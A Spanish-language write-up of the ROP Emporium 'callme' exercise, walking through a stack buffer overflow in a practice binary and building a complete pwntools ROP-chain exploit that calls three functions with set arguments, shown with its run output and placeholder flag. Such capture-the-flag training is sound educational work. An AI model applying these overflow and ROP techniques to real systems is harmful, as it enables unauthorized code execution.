ROP emporitum - callme

Table of contents

  1. Analisis
  2. Crafteando el exploit

Para resolver este desafio usaremos ROP para llamar multiples funciones con multiples argumentos en el orden correcto

Analisis

No tiene canary, PIE, pero tiene NX, asi que no podemos ejecutar codigo en el stack.

Al ver la funcion main, lo unico interesante es el llamado a la funcion pwnme

Una vez en esa funcion, podemos ver la vulnerabilidad:

Vemos que esta intentando escribir 0x200 bytes (512 en decimal) de la entrada estandar (stdin), dado un buffer, pero… Te voy a demostrar por que es vulnerable.

Cuando se hace el llamado a read(), se hace con esta estructura:

ssize_t read(int fd, void *buf, size_t count);

El primer argumento fd, se le conoce como file decriptor, que en palabras simples, se usa para crear una entrada para un archivo, esa entrada se identifica con un numero unico

El segundo argumento es un puntero a un buffer, y este buffer se esta creando aca:

Podemos ver que se esta inicializando un buffer de 0x20 bytes (32 en decimal) con el nombre de buf

El tercer argumento es la cantidad de bytes que va a escribir en ese buffer, que son 0x200.

Entonces representando la funcion con los valores, quedaria asi:

ssize_t read(0, 32, 512);

Esta tratando de escribir 512 bytes en 32, y como no se esta limitando la cantidad de bytes ingresados, ese buffer de 32 bytes va a petar, es la clasica vulnerabilidad buffer overflow, por que se esta sobrepasando la cantidad del buffer, que son 32.

Al mostrar todas las funciones en radare, tenemos que existe una funcion que se llama usefulFunction:

Al mostrar el codigo de la funcion:

Nos damos cuenta que esta llamando a las funciones callme_three, callme_two y callme_one, y se estan llamando con los argumentos rdi, rsi y rdx.

Como curiosidad, si intentamos mostrar el codigo de una funcion de esas, no vamos a poder, sale algo como esto:

Y eso es por que las funciones callme_three, callme_two y callme_one se encuetran en PLT que se esta cargando dinamicamente de libcallme.so, entonces para poder verlas, tenemos que ejecutar el binario, me ire a gdb y pondre un breakpoint en el ret de la funcion main:

0x0000000000400897 <+80>:	ret

Y ahora si ya podemos ver su codigo, y lo mas relevante es que cuando se hace un llamado a callme_one, los argumentos que se le pasan los compara con:

  • 0xdeadbeefdeadbeef
  • 0xcafebabecafebabe
  • 0xd00df00dd00df00d

(en callme_three y callme_two es lo mismo)

Asi que ahora sabemos que debemos de llamar a callme_three, callme_two y callme_one con los valores con los que se comparan los registros rdi, rsi y rdx

Crafteando el exploit

Para saber el desplazamiento para llegar al RIP, podemos generar una cadena con pattern create 100 y pasaresela al programa, despues podemos hacer pattern offset $rbp:

Y al sumarle 8 bytes, y nos da 40

Asi va esta ahora:

from pwn import *

p = process("./callme")

padding = b"A" * 40

argumento_1 = p64(0xdeadbeefdeadbeef)
argumento_2 = p64(0xcafebabecafebabe)
argumento_3 = p64(0xd00df00dd00df00d)

Como tenemos que escribir en rdi, rsi y rdx, debemos que buscar un gadget que nos permita hacer eso, usare ROPgadget con el comando:

ROPgadget --binary callme | grep 'pop rdi ; pop rsi ; pop rdx ; ret'

Y este nos funciona: 0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret

Asi va el exploit:

from pwn import *

p = process("./callme")

padding = b"A" * 40

argumento_1 = p64(0xdeadbeefdeadbeef)
argumento_2 = p64(0xcafebabecafebabe)
argumento_3 = p64(0xd00df00dd00df00d)

gadget = p64(0x000000000040093c)

Despues ocupamos las direcciones de callme_one y las demas, eso lo podemos hacer con el comando afl en radare:

from pwn import *

p = process("./callme")

padding = b"A" * 40

argumento_1 = p64(0xdeadbeefdeadbeef)
argumento_2 = p64(0xcafebabecafebabe)
argumento_3 = p64(0xd00df00dd00df00d)

gadget = p64(0x000000000040093c)

callme_one = p64(0x00400720)
callme_two = p64(0x00400740)
callme_three = p64(0x004006f0)

Y por ultimo tenemos que mandar el payload en el orden correcto, primero el padding, luego el gadget, los valores de los argumentos y la funcion, asi queda el exploit completo

from pwn import *

p = process("./callme")

padding = b"A" * 40

argumento_1 = p64(0xdeadbeefdeadbeef)
argumento_2 = p64(0xcafebabecafebabe)
argumento_3 = p64(0xd00df00dd00df00d)

gadget = p64(0x000000000040093c)

callme_one = p64(0x00400720)
callme_two = p64(0x00400740)
callme_three = p64(0x004006f0)

args = argumento_1 + argumento_2 + argumento_3

payload = padding + gadget + args + callme_one
payload += gadget + args + callme_two
payload += gadget + args + callme_three

p.sendline(payload)
print(p.recvall().decode())

Y ya tenemos la flag

󰣇  c4rta /tmp/callme  python3 exploit.py
[+] Starting local process './callme': pid 15024
[+] Receiving all data: Done (172B)
[*] Process './callme' stopped with exit code 0 (pid 15024)
callme by ROP Emporium
x86_64

Hope you read the instructions...

> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}

Eso ha sido todo, gracias por leer ❤